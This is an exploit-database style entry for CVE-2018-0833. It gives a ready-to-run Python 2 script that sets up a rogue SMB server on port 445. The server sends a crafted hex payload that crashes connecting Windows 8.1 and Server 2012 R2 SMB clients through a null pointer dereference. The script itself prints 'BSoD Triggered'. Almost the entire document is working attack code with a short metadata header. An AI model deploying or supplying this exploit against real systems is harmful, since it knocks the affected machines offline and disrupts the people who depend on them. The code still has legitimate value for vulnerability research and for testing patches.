Microsoft Windows 8.1/2012 R2 – SMBv3 Null Pointer Dereference Denial of Service
# Exploit Title: Microsoft Windows SMB Client Null Pointer Dereference Denial of Service # Date: 26/02/2018 # Exploit Author: Nabeel Ahmed # Version: SMBv3 # Tested on: Windows 8.1 (x86), Windows Server 2012 R2 (x64) # CVE : CVE-2018-0833 import SocketServer from binascii import unhexlify payload = '000000ecfd534d4241414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141' class byebye(SocketServer.BaseRequestHandler): def handle(self): try: print "From:", self.client_address print "[*]Sending Payload..." self.request.send(unhexlify(payload)) except Exception: print "BSoD Triggered on", self.client_address pass SocketServer.TCPServer.allow_reuse_address = 1 launch = SocketServer.TCPServer(('', 445),byebye) launch.serve_forever() |